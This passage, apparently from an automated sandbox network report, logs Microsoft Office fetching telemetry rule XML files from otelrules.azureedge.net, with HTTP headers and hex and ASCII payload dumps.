20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:54 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 6ec4d531-a01e-0084-3507-419ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184954Z-174f7845968pght8hC1EWRyvxg00000003bg00000000n07h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184955Z-174f78459684bddphC1EWRbht40000000zy000000000qd2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184955Z-174f78459685726chC1EWRsnbg00000010e0000000005c3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:56 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:56 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184956Z-174f7845968zgtf6hC1EWRqd8s0000000t9000000000afv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:56 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:56 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: a9f050e4-401e-0083-111c-41075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184956Z-174f7845968glpgnhC1EWR7uec00000010fg00000000a3nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:56 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:56 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 3bad3b8c-e01e-001f-0534-411633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184956Z-174f7845968pf68xhC1EWRr4h800000010eg00000000mayb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184958Z-174f7845968j6t2phC1EWRcfe800000010cg00000000k5ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:57 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 10d830e7-e01e-0020-2d2d-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184958Z-174f7845968pght8hC1EWRyvxg00000003h000000000432q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:58 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11676492-b01e-003d-10f9-41d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184958Z-174f7845968frfdmhC1EWRxxbw00000010f000000000235d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:59 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:58 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 28a5aaf6-701e-000d-6b47-416de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184958Z-174f7845968cdxdrhC1EWRg0en000000108g00000000cda5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:59 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:58 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184958Z-174f78459684bddphC1EWRbht40000001030000000007910 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:59 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185000Z-174f7845968frfdmhC1EWRxxbw00000010d0000000007d0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
